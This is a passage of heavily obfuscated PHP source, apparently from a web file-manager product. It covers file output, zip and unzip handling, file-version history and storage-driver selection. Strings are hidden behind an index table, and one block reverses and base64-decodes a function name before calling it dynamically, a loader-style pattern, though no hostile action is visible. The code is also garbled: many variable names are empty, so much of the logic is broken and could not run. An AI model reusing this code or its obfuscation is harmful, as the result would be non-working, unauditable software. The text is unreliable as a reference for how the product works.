self::driverMake($٥); if ($->isFileOutServer()) { return $->fileOutServer($٥, $Ά, $, $܋); } return $->fileOut($٥, $Ά, $, $܋); } public static function fileOutImage($, $Ȉϙ = 250) { $ = array(250, 600, 1200, 2000, 3000, 5000); for ($ڤ = 0; $ڤ < count($); $ڤ++) { if ($ڤ == 0 && $Ȉϙ <= $[$ڤ]) { $Ȉϙ = $[$ڤ]; break; } else { if ($Ȉϙ > $[$ڤ - 1] && $Ȉϙ <= $[$ڤ]) { $Ȉϙ = $[$ڤ]; break; } else { if ($ڤ == count($) - 1 && $Ȉϙ > $[$ڤ]) { $Ȉϙ = $[$ڤ]; break; } } } } $Ô = self::driverMake($); if ($Ô->isFileOutServer()) { return $Ô->fileOutImageServer($, $Ȉϙ); } return $Ô->fileOutImage($, $Ȉϙ); } private static function driverIsSame($˲с, $ս) { $ſ =& $_SERVER[ʇ]; $Ζތ = $˲с->getType(); $๩̓ = $ս->getType(); if ($Ζތ != $๩̓) { return !1; } if ($Ζތ == $ſ[796]) { return !0; } if ($Ζތ == $ſ[108]) { return !0; } if ($˲с->pathDriver == $ս->pathDriver) { return !0; } return !1; } public static function copyUpdate($ٷͧ, $Ѧ) { $ԣ =& $_SERVER[ʇ]; if (!IO::exist($ٷͧ)) { return !1; } if (!IO::exist($Ѧ)) { IO::mkdir($Ѧ); } $ = array_to_keyvalue(self::listAllSimple($ٷͧ), $ԣ[86]); $ȧ˝ = array_to_keyvalue(self::listAllSimple($Ѧ), $ԣ[86]); $ޑ = array(); $ = array(); foreach ($ as $͹ => $) { if (isset($ȧ˝[$͹])) { if ($[$ԣ[77]] == 1) { continue; } if ($ȧ˝[$͹][$ԣ[78]] == $[$ԣ[78]]) { continue; } } if ($[$ԣ[77]] == 1) { $[] = $Ѧ . $ԣ[8] . trim($͹, $ԣ[8]); continue; } $ = strstr(trim($͹, $ԣ[8]), $ԣ[8]) ? get_path_father($͹) : $ԣ[12]; $ޑ[] = array($ԣ[1207] => $[$ԣ[88]], $ԣ[1208] => rtrim($Ѧ, $ԣ[8]) . $ԣ[8] . $, $ԣ[1209] => $); } $ԓ = array($ԣ[216] => $ޑ, $ԣ[77] => $); Hook::trigger($ԣ[1210], $ٷͧ, $Ѧ, $ԓ); foreach ($ as $) { IO::mkdir($); } foreach ($ޑ as $) { IO::copy($[$ԣ[1207]], $[$ԣ[1208]], REPEAT_REPLACE); } } public static function fileSubstr($, $, $؈ꆞ = false) { $Դ =& $_SERVER[ʇ]; $ = self::driverMake($); $α = $->size($); $ = $; $ɕ = $؈ꆞ; if ($ < 0) { $ = $α + $; } if ($؈ꆞ === !1) { $؈ꆞ = $α - $; } if ($ + $؈ꆞ > $α) { $؈ꆞ = $α - $; } if (!$α && $->getType() == $Դ[108] && !$->exist($)) { $ = get_path_this($); $ = parse_url_query($); if (is_array($) && isset($[$Դ[32]])) { $ = urldecode($[$Դ[32]]); } throw new Exception($Դ[1211] . LNG($Դ[1212]) . $Դ[1013] . clear_html($) . $Դ[12]); } if ($؈ꆞ <= 0) { return $Դ[12]; } if ($ < 0 || $ >= $α || $؈ꆞ > 1024 * 1024 * 10) { throw new Exception("\x66\151\154\x65\x52\145\141\144\x20\145\162\x72\157\x72\41\x20\x73\x74\141\x72\x74\x3d{$}\x3b\x6c\x65\156\147\x74\150\x3d{$؈ꆞ}\x3b\x20\x73\x69\172\x65\75{$α}\73"); } $ܴ = $->fileSubstr($, $, $؈ꆞ); if (!$ܴ && $؈ꆞ && isset($GLOBALS[$Դ[1213]])) { throw new Exception($GLOBALS[$Դ[1213]][$Դ[1214]]); } return $ܴ; } private static function driverMake(&$ǡ) { $ў =& $_SERVER[ʇ]; $« = KodIO::parse($ǡ); if (!self::$driverListSystem) { $ϊۮ = Model($ў[806])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($ϊۮ, $ў[445]); } if ($«[$ў[33]] == KodIO::KOD_IO && !self::$driverListSystem[$«[$ў[445]]]) { return !1; } $ǡ = $«[$ў[1215]]; $ƈ = self::driverGet($«, $ǡ); return $ƈ; } private static function driverGet($ϵ, &$) { $˃ =& $_SERVER[ʇ]; $ = $ϵ[$˃[1216]]; $ԊȂ = $ϵ[$˃[445]]; switch ($ϵ[$˃[33]]) { case KodIO::KOD_IO: $Ӿ = self::$driverListSystem[$ԊȂ]; break; case KodIO::KOD_SOURCE: $ = $ԊȂ . $; $Ӿ = array($˃[1217] => $˃[1218], $˃[6] => $ϵ); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $؀ = $GLOBALS[$˃[1219]]; self::$driverListUser = array_to_keyvalue($؀, $˃[445]); } $Ӿ = self::$driverListUser[$ԊȂ]; break; case KodIO::KOD_SHARE_LINK: $Ӿ = array($˃[1217] => $˃[1220], $˃[6] => $ϵ); $ = Action($˃[1221])->sharePathInfo($ϵ[$˃[86]]); $ = $[$˃[183]]; if (!$[$˃[183]]) { $׶ = Model($˃[634])->getInfo($[$˃[635]]); $ = KodIO::clear($׶[$˃[1222]] . $ϵ[$˃[1215]]); $ϵ[$˃[531]] = $׶; $ϵ[$˃[1198]] = $; $Ӿ = array($˃[1217] => $˃[1223], $˃[6] => $ϵ); } break; case KodIO::KOD_SHARE_ITEM: $Ӿ = array($˃[1217] => $˃[1224], $˃[6] => $ϵ); $׶ = Model($˃[634])->getInfo($ϵ[$˃[445]]); if ($׶[$˃[183]] == $˃[214]) { $ = KodIO::clear($׶[$˃[1222]] . $ϵ[$˃[1215]]); $ϵ[$˃[531]] = $׶; $ϵ[$˃[1198]] = $; $Ӿ = array($˃[1217] => $˃[1225], $˃[6] => $ϵ); } else { if (!$) { $ = $׶[$˃[183]]; } } break; default: $ = $ϵ[$˃[86]]; $Ӿ = array($˃[1217] => $˃[1226]); break; } $ = $ϵ[$˃[86]]; if (!isset(self::$driverCache[$])) { $ۿ = strtolower($Ӿ[$˃[97]]); $ = $GLOBALS[$˃[6]][$˃[91]][$˃[872]]; $؊ö = $˃[76] . (isset($[$ۿ]) ? $[$ۿ] : ucfirst($ۿ)); if (!class_exists($؊ö)) { show_json("{$؊ö}\40\x6e\x6f\x74\x20\x65\x78\x69\163\164\x73\41", !1); } $ʽ۾ = isset($Ӿ[$˃[6]]) ? $Ӿ[$˃[6]] : !1; self::$driverCache[$] = new $؊ö($ʽ۾); } $ܷ = self::$driverCache[$]; $ܷ->pathDriver = $; $ܷ->pathBase = $˃[12]; if (isset($Ӿ[$˃[6]][$˃[1227]])) { $ܷ->pathBase = rtrim($Ӿ[$˃[6]][$˃[1227]], $˃[8]) . $˃[8]; $ = $ܷ->pathBase . ltrim($, $˃[8]); } $ = $ܷ->getPath($); if (isset($ϵ[$˃[1198]])) { $ = $ϵ[$˃[1198]]; } $ܷ->path = $; return $ܷ; } public static function errorTips($ΐ̈́ = false) { $􆚣 =& $_SERVER[ʇ]; static $ו = array(); $Ϸ = 1000; if ($ΐ̈́ === -1) { return $ו ? $ו[count($ו) - 1] : $􆚣[12]; } if ($ΐ̈́ === !1) { return implode($􆚣[248], $ו); } if (count($ו) >= $Ϸ) { $ו = array_slice($ו, $Ϸ * 0.5, $Ϸ); } $ו[] = $ΐ̈́; write_log($􆚣[165] . ACTION . $􆚣[1228] . $ΐ̈́, $􆚣[1229]); } public static function getLastError($՜ = '') { $Ə = self::errorTips(-1); return $Ə ? $Ə : $՜; } } goto c堏; E: $fileSize = strrev(base64_decode($_SERVER[ۮ][0])); function binCheckNeq($̓, $ҘƷ) { return $̓ != $ҘƷ; } $_SERVER[$_SERVER[ۮ][1]] = $fileSize($_SERVER[$_SERVER[ۮ][2]]); goto A݇; c堏: class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $Ÿ; if ($Ÿ) { return $Ÿ; } $ؕ = IO::init($_SERVER[ʇ][8]); return $ؕ; } private static function iconvSystem($ܼ) { return self::local()->iconvSystem($ܼ); } private static function iconvApp($) { return self::local()->iconvApp($); } public static function zipFolder($٣, $ = "\172\x69\160", $闂 = '', $랹ƃ = REPEAT_RENAME) { $ =& $_SERVER[ʇ]; $« = IO::listPath($٣); if (!$«) { return !1; } $« = array_merge($«[$[84]], $«[$[85]]); return self::zip($«, $, $闂, $랹ƃ); } public static function zip($, $ = "\x7a\x69\x70", $ = '', $ = REPEAT_RENAME) { $ޢĂ =& $_SERVER[ʇ]; if (is_string($) && $) { $ = array(array($ޢĂ[86] => $)); } $Õ = self::init($[0][$ޢĂ[86]]); $簊 = self::info($[0][$ޢĂ[86]]); $퇒 = $ޢĂ[12]; $ = $ޢĂ[12]; $څ = $ޢĂ[12]; if ($ && substr($, -1, 1) != $ޢĂ[8]) { $ = get_path_father($); $څ = get_path_this($); } else { $ = self::pathFather($簊[$ޢĂ[86]]); $څ = $簊[$ޢĂ[32]] . $ޢĂ[10] . $; if (count($) > 1) { $ = IO::info($); $څ = $[$ޢĂ[32]] . $ޢĂ[10] . $; } if ($) { $ = $; } } if ($Õ->getType() == $ޢĂ[108]) { $ = self::init($); $ݝ◱ = $->getType() == $ޢĂ[108] ? $ : get_path_father($Õ->path); $ݝ◱ = rtrim($ݝ◱, $ޢĂ[8]) . $ޢĂ[8]; mk_dir($ݝ◱); } else { $퇒 = TEMP_FILES . $ޢĂ[1230] . time() . rand_string(8) . $ޢĂ[8]; mk_dir($퇒); file_put_contents($퇒 . $ޢĂ[1231], $ޢĂ[12]); $ݝ◱ = $퇒; } $ܣ = IO::info($ݝ◱); if (!$ܣ || !$ܣ[$ޢĂ[219]]) { show_json(LNG($ޢĂ[1232]), !1); } $攡 = self::zipFileList($, $퇒); foreach ($攡 as $⨜ => $) { $攡[$⨜] = self::iconvSystem($); } $񍖞 = get_filename_auto($ݝ◱ . $څ, $ޢĂ[12], $); KodArchive::create(self::iconvSystem($񍖞), $攡); if (!IO::exist($񍖞)) { if ($퇒) { del_dir($퇒); } show_json(LNG($ޢĂ[1233]), !1); } if (!$퇒) { return $񍖞; } $ = self::move($񍖞, $, $); if ($퇒) { del_dir($퇒); } if (!$񍖞) { show_json(LNG($ޢĂ[1233]), !1); } return $; } public static function unzip($, $̙߱, $Л߃ = "\x2d\61", $ʔ = "\x72\145\x70\154\x61\143\145") { $ =& $_SERVER[ʇ]; $Π = parent::info($); if (!$Π) { show_json(LNG($[1234]), !1); } $٤ = IO::infoFullSimple($̙߱); if (!$٤) { $̙߱ = IO::mkdir($̙߱); } if (isset($٤[$[183]]) && trim($٤[$[86]], $[8]) != trim($̙߱, $[8])) { $ = KodIO::make($٤[$[182]]); $ = IO::fileNameAuto($, $٤[$[32]], REPEAT_RENAME_FOLDER, !0); $̙߱ = IO::mkdir($ . $); } $Л߃ = $Л߃ && $Л߃ != $[1235] ? @json_decode($Л߃, !0) : -1; $ = self::unzipPart($, $Л߃); if (!$ || !IO::exist($[$[216]])) { show_json(LNG($[107]), !1); } $ĸ = $[$[1236]][count($[$[1236]]) - 1]; if ($ĸ[$[1237]] == -1 || substr($ĸ[$[32]], -1, 1) == $[8]) { $爏 = $[$[1238]] . rand_string(10) . $[8]; mk_dir($爏); $ʯ = count($[$[1236]]) == 1 ? IO::ext($) : get_path_ext($[$[216]]); $ʡ = KodArchive::extract(self::iconvSystem($[$[216]]), $爏, $ĸ[$[1237]], $, $ʯ); self::unzipErrorCheck($ʡ, array($[1239], $, $ʯ, $̙߱, $)); Hook::trigger($[1240], $爏); recursion_dir($爏, $١, $Ǽ, 0); $ķ = array_merge($١, $Ǽ); $ = array(); foreach ($ķ as $ݷ) { $ = IO::move(self::iconvApp($ݷ), $̙߱, $ʔ); if ($) { $[] = $; } } del_dir($爏); } else { $ = IO::move($[$[216]], $̙߱, $ʔ, get_path_this($ĸ[$[32]])); if ($) { $[] = $; } } return $ ? $ : !1; } public static function unzipList($) { $Ǥڨ =& $_SERVER[ʇ]; $Ț = isset($[$Ǥڨ[1241]]) ? $[$Ǥڨ[1241]] : !1; $͠ = isset($[$Ǥڨ[1237]]) ? @json_decode($[$Ǥڨ[1237]], !0) : -1; $ = self::unzipPart($[$Ǥڨ[86]], $͠); if (!$ || !IO::exist($[$Ǥڨ[216]])) { show_json(LNG($Ǥڨ[107]), !1); } $ = $[$Ǥڨ[1236]][count($[$Ǥڨ[1236]]) - 1]; $ = in_array(IO::ext($[$Ǥڨ[216]]), array($Ǥڨ[359], $Ǥڨ[1242], $Ǥڨ[1243], $Ǥڨ[1244], $Ǥڨ[1245], $Ǥڨ[1246])); if (!$Ț && ($[$Ǥڨ[1237]] == -1 || $)) { $NJͯ = $[$Ǥڨ[1238]] . get_path_this($[$Ǥڨ[216]]) . $Ǥڨ[1247]; if (!IO::exist($NJͯ)) { $‚ = $[$Ǥڨ[1237]] == -1 ? get_path_ext(IO::pathThis($[$Ǥڨ[86]])) : get_path_ext($[$Ǥڨ[216]]); $ = KodArchive::listContent(self::iconvSystem($[$Ǥڨ[216]]), !0, $‚); self::unzipErrorCheck($, array($Ǥڨ[1248], $, $)); @file_put_contents($NJͯ, json_encode($[$Ǥڨ[1249]])); } return @json_decode(IO::getContent($NJͯ), !0); } IO::fileOut($[$Ǥڨ[216]], $Ț, get_path_this($[$Ǥڨ[32]])); die; } private static function zipFileList($ߜ, $ = false) { $Ʀذ =& $_SERVER[ʇ]; $ɦЛ = array(); foreach ($ߜ as $ݺā) { $ˎ = $ݺā[$Ʀذ[86]]; if ($) { $ˎ = self::copy($ݺā[$Ʀذ[86]], $, $Ʀذ[864]); } else { $چ = self::init($ݺā[$Ʀذ[86]]); if ($چ->getType() == $Ʀذ[108]) { $ˎ = $چ->path; } } if ($ˎ && self::local()->exist($ˎ)) { $ɦЛ[$ݺā[$Ʀذ[86]]] = $ˎ; } } if (!empty($ɦЛ)) { return array_values($ɦЛ); } show_json(LNG($Ʀذ[1212]), !1); } private static function localFilePath($Ħƪ) { $ =& $_SERVER[ʇ]; $ = KodIO::parse($Ħƪ); if ($[$[33]] == KodIO::KOD_SOURCE) { $؈ = Model($[871])->fileInfoGet(KodIO::sourceID($Ħƪ)); if (!$؈[$[86]]) { show_json($[1250], !1); } $Ħƪ = $؈[$[86]]; } $ = self::init($Ħƪ); if ($->pathParse[$[1198]]) { $Ħƪ = $->pathParse[$[1198]]; $ = self::init($Ħƪ); } $⏐ = $->getType(); if ($⏐ == $[108] || $⏐ == $[1251]) { if (!$->exist($->path)) { show_json(LNG($[107]), !1); } return $->path; } return !1; } public static function unzipPart($ܖ, $ى = -1) { $귑 =& $_SERVER[ʇ]; $ = IO::pathThis($ܖ); if (!$ى || $ى == -1) { $Ɏ = array(array($귑[32] => $, $귑[1237] => -1)); $Ɏ[0][$귑[1252]] = $Ɏ[0][$귑[32]]; } else { if (is_array($ى)) { $Ɏ = $ى; $䀲 = count($Ɏ) - 1; for ($ޱ = 0; $ޱ <= $䀲; $ޱ++) { $ܐ = $Ɏ[$ޱ]; $ъ = get_path_this($ܐ[$귑[32]]) . (checkExtSafe($ܐ[$귑[32]]) ? $귑[12] : $귑[1253]); $Ɏ[$ޱ][$귑[1252]] = $귑[1254] . intval($ܐ[$귑[1237]]) . $귑[432] . $ъ; if ($ޱ == 0) { continue; } $Ɏ[$ޱ][$귑[1252]] = $Ɏ[$ޱ - 1][$귑[1252]] . $귑[1255] . $Ɏ[$ޱ][$귑[1252]]; } } } if (!is_array($Ɏ) || count($Ɏ) == 0) { return !1; } $ò = $Ɏ[count($Ɏ) - 1]; if (!IO::exist($ܖ)) { return !1; } $ = TEMP_FILES . $귑[1256] . kodIO::hashPathSafe($ܖ) . $귑[8]; $ = $ . $ò[$귑[1252]]; mk_dir($); file_put_contents(TEMP_FILES . $귑[1231], $귑[12]); if (IO::exist($)) { return array($귑[216] => $, $귑[1236] => $Ɏ, $귑[1238] => $); } $σܘ = self::localFilePath($ܖ); if (!$σܘ) { $σܘ = $ . $귑[1257]; if (!IO::exist($σܘ)) { self::copy($ܖ, $, !1, get_path_this($σܘ)); } } if (!$σܘ || !IO::exist($σܘ)) { return !1; } if ($ò[$귑[1237]] == -1) { return array($귑[216] => $σܘ, $귑[1236] => $Ɏ, $귑[1238] => $); } $ = $σܘ; foreach ($Ɏ as $ޱ => $ܐ) { if (!$ܐ || $ܐ[$귑[1237]] == $귑[1235]) { break; } if (substr($ܐ[$귑[32]], -1, 1) == $귑[8]) { break; } $Ɔ׽ = in_array(get_path_ext($ܐ[$귑[1252]]), array($귑[359], $귑[1242], $귑[1243], $귑[1244], $귑[1245], $귑[1246])); $Љ = $ޱ == count($Ɏ) - 1 && $Ɔ׽; $˂ = $ . $ܐ[$귑[1252]]; $€ = $ . get_path_this($ܐ[$귑[32]]); if (IO::exist($˂)) { $ = $˂; continue; } $ = $ޱ == 0 ? get_path_ext($) : get_path_ext($); $˰ = KodArchive::extract(self::iconvSystem($), $, $ܐ[$귑[1237]], $ؑ, $); self::unzipErrorCheck($˰, array($귑[1258], $ܖ, $Ɏ, $ܐ, $˂)); if (IO::exist($€)) { IO::rename($€, get_path_this($˂)); } $ = $˂; } $ = $; return array($귑[216] => $, $귑[1236] => $Ɏ, $귑[1238] => $); } private static function unzipErrorCheck($, $Ù = false) { $ =& $_SERVER[ʇ]; if ($[$[1259]]) { return !0; } write_log(array($[1260], $, $Ù), $[1261]); show_json($[1262] . json_encode($[$[1249]]), !1); die; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ȡߩ =& $_SERVER[ʇ]; $ = $GLOBALS[$ȡߩ[6]][$ȡߩ[91]]; if ($[$ȡߩ[1263]] != 1) { return; } if ($[$ȡߩ[1264]] <= 0) { return; } if (isset($_REQUEST[$ȡߩ[1265]]) && $_REQUEST[$ȡߩ[1265]] == $ȡߩ[90]) { return; } Hook::bind($ȡߩ[1266], $ȡߩ[1267]); Hook::bind($ȡߩ[1268], $ȡߩ[1269]); Hook::bind($ȡߩ[1270], $ȡߩ[1271]); Hook::bind($ȡߩ[1272], $ȡߩ[1273]); Hook::bind($ȡߩ[1274], $ȡߩ[1275]); Hook::bind($ȡߩ[1276], $ȡߩ[1277]); } public static function eventBeforeUpload($) { if ($[3] && $[3] != REPEAT_REPLACE) { return; } $˷ = self::parsePath($[0]); if (!$˷) { return; } self::add($˷); } public static function eventBeforeEdit($) { $ᯥ = self::parsePath($[0]); if (!$ᯥ) { return; } self::add($ᯥ); } public static function eventBeforeCopyFile($ᦲ, $, $ƒ, $ߙ, $Ɣ, $Ȍ) { $鰏ޒ =& $_SERVER[ʇ]; if (isset($ƒ->_data[$鰏ޒ[1202]]) && $ƒ->_data[$鰏ޒ[1202]]) { return; } $؍죆 = $ƒ->getPathOuter($ߙ); $⣹ = self::parsePath($؍죆); if (!$⣹) { return; } self::add($⣹); } public static function eventBeforeRename($) { $ =& $_SERVER[ʇ]; $ = self::parsePath($[0]); if (!$) { return; } $ = self::checkInHistory($); if (!$) { return; } if ($[$[33]] == $[216]) { $ = self::listData($); if ($ && $[$[415]]) { self::moveHistory($, $[1]); } } else { IO::rename($[$[86]], $[1]); } } public static function eventBeforeMove($) { $Љ =& $_SERVER[ʇ]; $߉ = self::parsePath($[0]); if (!$߉) { return; } $ = self::parsePath($[1]); if (!$) { return; } $ = $[3]; $ = self::checkInHistory($߉); if (!$) { return; } $ = self::pathHistory($); if ($[$Љ[33]] == $Љ[216]) { $ᅋһ = self::listData($߉); $ݛ = rtrim($, $Љ[8]) . $Љ[8] . ($ ? $ : get_path_this($߉)); $۞ = self::listData($ݛ); if ($ᅋһ && $ᅋһ[$Љ[415]] && $۞ && $۞[$Љ[415]]) { return self::clear($߉); } if ($ᅋһ && $ᅋһ[$Љ[415]]) { self::moveHistory($߉, $, $); } } else { IO::move($[$Љ[86]], $, !1, $); self::clearEmptyFolder(IO::pathFather($[$Љ[86]])); } } public static function eventAfterRemove($Ȼ, $ڑ) { $ՈҊ =& $_SERVER[ʇ]; if (!$ڑ) { return; } $ʑŰ = self::parsePath($Ȼ[0]); if (!$ʑŰ) { return; } $ե = self::checkInHistory($ʑŰ); if (!$ե) { return; } if ($ե[$ՈҊ[33]] == $ՈҊ[216]) { $֕ = self::listData($ʑŰ, !1); if ($֕ && $֕[$ՈҊ[415]]) { self::clear($ʑŰ, !1); } } else { IO::remove($ե[$ՈҊ[86]]); self::clearEmptyFolder(IO::pathFather($ե[$ՈҊ[86]])); } } private static function checkInHistory($੘) { $ɧ = self::pathHistory($੘); if (!IO::exist($ɧ)) { $ɧ .= $_SERVER[ʇ][1278]; } return IO::exist($ɧ) ? IO::info($ɧ) : !1; } private static function parsePath($ȋ) { $׶Ԉ =& $_SERVER[ʇ]; if (!$ȋ) { return !1; } if ($GLOBALS[$׶Ԉ[1279]]) { return; } $͏ = KodIO::parse($ȋ); $ = $͏[$׶Ԉ[33]]; $݂ = !$ || $ == KodIO::KOD_IO || $ == KodIO::KOD_SHARE_ITEM; if (!$݂ || !$͏[$׶Ԉ[1280]]) { return !1; } if (substr($ȋ, 0, strlen(DATA_PATH . $׶Ԉ[1281])) == DATA_PATH . $׶Ԉ[1281]) { return !1; } if ($ == KodIO::KOD_SHARE_ITEM) { $ = IO::init($ȋ); if ($->pathParse[$׶Ԉ[1198]]) { return self::parsePath($->pathParse[$׶Ԉ[1198]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $鿢 = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $׶Ԉ[1282]); foreach ($鿢 as $օ) { if (!$ && substr($ȋ, 0, strlen($օ)) == $օ) { return !1; } } self::log($GLOBALS[$׶Ԉ[1193]] . $׶Ԉ[1283] . $ȋ); return $ȋ; } private static function pathHistory($ٜι) { $ =& $_SERVER[ʇ]; $坆 = self::$_historyBase . ltrim(KodIO::clear($ٜι), $[8]); $坆 = str_replace(array($[1284]), array($[1285]), $坆); return $坆; } public static function log($Һ) { } public static function historyCount($ö) { $ =& $_SERVER[ʇ]; $Ė = array(); $ʮ = array(); foreach ($ö as $٥߻) { $ = get_path_father($٥߻); if (!$ʮ[$]) { $ʮ[$] = array(); } $ʮ[$][] = get_path_this($٥߻); } foreach ($ʮ as $ => $) { $ = self::parsePath($); if (!$) { continue; } foreach ($ as $) { $ʨ = self::listData(rtrim($, $[8]) . $[8] . $, !1); if ($ʨ && $ʨ[$[415]]) { $Ė[rtrim($, $[8]) . $[8] . $] = count($ʨ[$[415]]); } } } return $Ė; } public static function add($҃) { $ =& $_SERVER[ʇ]; $α = self::listData($҃); if (!$α) { return; } $ = Model($[809])->get($[1286]); $Ѥ = intval($GLOBALS[$[6]][$[91]][$[1264]]); $ = $ == $[1287] ? min(5, $Ѥ) : $Ѥ; if ($Ѥ <= 0) { return; } $ͨ = IO::info($҃); $ = $α[$[415]]; if ($ͨ[$[78]] == 0) { return; } if ($ͨ[$[78]] >= 1024 * 1024 * 500) { return !1; } $زμ = IO::hashSimple($҃); if ($ && $[0][$[642]] == $زμ) { return !0; } if (array_key_exists($[219], $ͨ) && !$ͨ[$[219]]) { return !1; } $ݥ = short_id(time()); $χ紜 = array($[445] => $ݥ, $[642] => $زμ, $[32] => $ͨ[$[32]] . $[10] . date($[1288]) . rand_string(1), $[78] => $ͨ[$[78]], $[497] => USER_ID, $[217] => time(), $[1289] => $[12]); IO::mkdir($α[$[1290]]); $ = IO::copy($҃, $α[$[1290]], !1, $χ紜[$[32]]); if (!$) { self::clearEmptyFolder($α[$[1290]]); return !1; } array_unshift($, $χ紜); if (count($) > $) { $ź = array_slice($, $); foreach ($ź as $ܵ) { IO::remove($α[$[1290]] . $ܵ[$[32]]); } $ = array_slice($, 0, $); } return self::saveData($α[$[1291]], $); } public static function remove($˦, $䒇) { $⻞Ӥ =& $_SERVER[ʇ]; $߭ = self::listData($˦); $ = array(); if (!$߭) { return !1; } foreach ($߭[$⻞Ӥ[415]] as $󁾸) { if ($󁾸[$⻞Ӥ[445]] == $䒇) { IO::remove($߭[$⻞Ӥ[1290]] . $󁾸[$⻞Ӥ[32]]); continue; } $[] = $󁾸; } return self::saveData($߭[$⻞Ӥ[1291]], $); } public static function clear($ꙁ, $̩ = true) { $Ԫ =& $_SERVER[ʇ]; $ԁ = self::listData($ꙁ, $̩); if (!$ԁ) { return !1; } foreach ($ԁ[$Ԫ[415]] as $) { IO::remove($ԁ[$Ԫ[1290]] . $[$Ԫ[32]]); } return self::saveData($ԁ[$Ԫ[1291]], array()); } public static function moveHistory($ڋǡӬ, $ = '', $Ā = '') { $Һ =& $_SERVER[ʇ]; $ѽ€ = self::listData($ڋǡӬ, !1); if (!$ѽ€ || !$ѽ€[$Һ[415]]) { return !1; } $ = $Һ[1278]; $ = $ ? $ : get_path_this($ڋǡӬ); $Ā = $Ā ? $Ā : $ѽ€[$Һ[1290]]; $񠋡 = substr(get_path_this($ѽ€[$Һ[1291]]), 0, -strlen($)); foreach ($ѽ€[$Һ[415]] as $ڮ => $䂬) { $ַ = $ . substr($䂬[$Һ[32]], strlen($񠋡)); $ = IO::move($ѽ€[$Һ[1290]] . $䂬[$Һ[32]], $Ā, !1, $ַ); if ($) { $ѽ€[$Һ[415]][$ڮ][$Һ[32]] = $ַ; } } $ѽ€[$Һ[1291]] = IO::move($ѽ€[$Һ[1291]], $Ā, !1, $ . $); self::saveData($ѽ€[$Һ[1291]], $ѽ€[$Һ[415]]); self::clearEmptyFolder($ѽ€[$Һ[1290]]); } public static function rollback($, $ܣ) { $ʦ =& $_SERVER[ʇ]; $ƽ = self::listData($); if (!$ƽ) { return; } $ = IO::info($); foreach ($ƽ[$ʦ[415]] as $ˀ֗ => $) { if ($[$ʦ[445]] == $ܣ) { self::add($); $ = $ƽ[$ʦ[1290]] . $[$ʦ[32]]; $ = IO::copy($, IO::pathFather($), REPEAT_REPLACE, $[$ʦ[32]]); if ($) { self::remove($, $ܣ); } return $; } } return !1; } public static function setDetail($Ꙏė, $Ҳ, $) { $Ǵ =& $_SERVER[ʇ]; $ڌ = self::listData($Ꙏė); if (!$ڌ) { return; } foreach ($ڌ[$Ǵ[415]] as $ď => $) { if ($[$Ǵ[445]] == $Ҳ) { $ڌ[$Ǵ[415]][$ď][$Ǵ[1289]] = $; self::saveData($ڌ[$Ǵ[1291]], $ڌ[$Ǵ[415]]); return !0; } } return !1; } public static function fileInfo($ϕ, $) { $ܼ =& $_SERVER[ʇ]; $ = self::listData($ϕ); if (!$) { show_json(LNG($ܼ[107]), !1); } $갆 = $ܼ[12]; foreach ($[$ܼ[415]] as $ͤƤ => $ ) { if ($ [$ܼ[445]] != $) { continue; } $갆 = $[$ܼ[1290]] . $ [$ܼ[32]]; break; } if (!$갆) { show_json(LNG($ܼ[107]), !1); } return IO::info($갆); } public static function fileOut($舓, $ԣ, $ = false) { $Ӧ =& $_SERVER[ʇ]; $ = self::fileInfo($舓, $ԣ); $Ľ =& $GLOBALS[$Ӧ[7]]; $ = isset($Ľ[$Ӧ[1241]]) && $Ľ[$Ӧ[1241]] == 1; if (isset($Ľ[$Ӧ[33]]) && $Ľ[$Ӧ[33]] == $Ӧ[1292]) { return IO::fileOutImage($[$Ӧ[86]], $Ľ[$Ӧ[1293]]); } IO::fileOut($[$Ӧ[86]], $, get_path_this($舓)); } public static function listData($, $ = true) { $ =& $_SERVER[ʇ]; if ($ && !IO::exist($)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ = self::pathHistory($); $ǒ = array($[1291] => $ . $[1278], $[1290] => rtrim(get_path_father($), $[8]) . $[8], $[415] => array()); $ɕ = IO::getContent($ǒ[$[1291]]); if ($ɕ) { $㽮܉ = json_decode($ɕ, !0); if (is_array($㽮܉)) { $ǒ[$[415]] = $㽮܉; } } return $ǒ; } private static function saveData($ͼ, $ƃ) { $ٲم =& $_SERVER[ʇ]; self::log($ٲم[1294] . $ͼ . $ٲم[73] . count($ƃ), $ٲم[790]); if ($ƃ) { return IO::setContent($ͼ, json_encode($ƃ)); } $珌ڲ = IO::pathFather($ͼ); IO::remove($ͼ); self::clearEmptyFolder($珌ڲ); return !0; } public static function clearEmptyFolder($Ҁ) { $ʡ =& $_SERVER[ʇ]; if (trim($Ҁ, $ʡ[8]) == trim(self::$_historyBase, $ʡ[8])) { return; } $ܚڰ = IO::pathFather($Ҁ); $֔ = IO::has($Ҁ, !0); if ($֔[$ʡ[225]] > 0 || $֔[$ʡ[226]] > 0) { return; } IO::remove($Ҁ); self::clearEmptyFolder($ܚڰ); } private static function getBasePath() { $̪ =& $_SERVER[ʇ]; $ʉ = Model($̪[1295])->get($̪[1296]); if ($ʉ) { if (!IO::exist($ʉ)) { IO::mkdir($ʉ); } if (get_path_this($ʉ) == $̪[1281]) { $넍 = $̪[1297] . rand_string(8); @rename($ʉ, get_path_father($ʉ) . $̪[8] . $넍); $ʉ = DATA_PATH . $넍 . $̪[8]; file_put_contents(DATA_PATH . $̪[1231], $̪[12]); Model($̪[1295])->set($̪[1296], $ʉ); } return $ʉ; } $ʉ = DATA_PATH . $̪[1297] . rand_string(8) . $̪[8]; $ʉ = IO::mkdir($ʉ); $ʉ = rtrim($ʉ, $̪[8]) . $̪[8]; file_put_contents($ʉ . $̪[1231], $̪[12]); file_put_contents(DATA_PATH . $̪[1231], $̪[12]); Model($̪[1295])->set($̪[1296], $ʉ); return $ʉ; } } class KodIO { const KOD_SOURCE = "\x7b\x73\x6f\165\162\143\x65\175"; const KOD_USER_RECYCLE = "\173\x75\163\145\x72\122\x65\143\171\x63\154\x65\175"; const KOD_USER_FAV = "\173\165\163\x65\x72\106\x61\166\x7d"; const KOD_USER_FILE_TAG = "\x7b\165\163\x65\x72\x46\x69\154\145\x54\141\x67\175"; const KOD_USER_FILE_TYPE = 